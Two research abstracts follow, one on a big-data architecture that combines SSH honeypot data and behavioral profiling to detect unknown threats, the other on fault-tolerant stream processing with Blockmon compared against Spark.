Unknown Threat Detection With Honeypot Ensemble Analsyis Using Big Datasecurity Architecture

The amount of data that is being generated continues to rapidly grow in size and complexity. Frameworks such as Apache Hadoop and Apache Spark are evolving at a rapid rate as organizations are building data driven applications to gain competitive advantages. Data analytics frameworks decomposes our problems to build applications that are more than just inference and can help make predictions as well as prescriptions to problems in real time instead of batch processes. Information Security is becoming more important to organizations as the Internet and cloud technologies become more integrated with their internal processes. The number of attacks and attack vectors has been increasing steadily over the years. Border defense measures (e.g. Intrusion Detection Systems) are no longer enough to identify and stop attackers. Data driven information security is not a new approach to solving information security; however there is an increased emphasis on combining heterogeneous sources to gain a broader view of the problem instead of isolated systems. Stitching together multiple alerts into a cohesive system can increase the number of True Positives. With the increased concern of unknown insider threats and zero-day attacks, identifying unknown attack vectors becomes more difficult. Previous research has shown that with as little as 10 commands it is possible to identify a masquerade attack against a user\u27s profile. This thesis is going to look at a data driven information security architecture that relies on both behavioral analysis of SSH profiles and bad actor data collected from an SSH honeypot to identify bad actor attack vectors. Honeypots should collect only data from bad actors; therefore have a high True Positive rate. Using Apache Spark and Apache Hadoop we can create a real time data driven architecture that can collect and analyze new bad actor behaviors from honeypot data and monitor legitimate user accounts to create predictive and prescriptive models. Previously unidentified attack vectors can be cataloged for review

Fault-tolerant streaming computation with BlockMon

As the amount of data being exchanged over the network increases, algorithms originally implemented for running on a single machine have been re-designed to work in a distributed manner, with a processing platform that splits tasks among machines and cores. Brand new frameworks have emerged for the analysis of unbound streams of data, aiming at processing data and retrieving information nearly real-time by using clusters of machines. Node failure and recovery are crucial issues related to distributed systems, especially when using commodity hardware and when continuously processing data coming real- time into the system. In this paper we present the performance of the distributed stream-processing platform Blockmon, with the novel fault-tolerant mechanism that we implement on top, and compare it against Spark, the state-of-the art in terms of fault-tolerant stream-processing platform. Our experimental results suggest that Blockmon performs around two times faster than Spark, with a twenty times reduced memory footprint, showing the feasibility of using Blockmon on popular energy- efficient architectures such as the ARM ones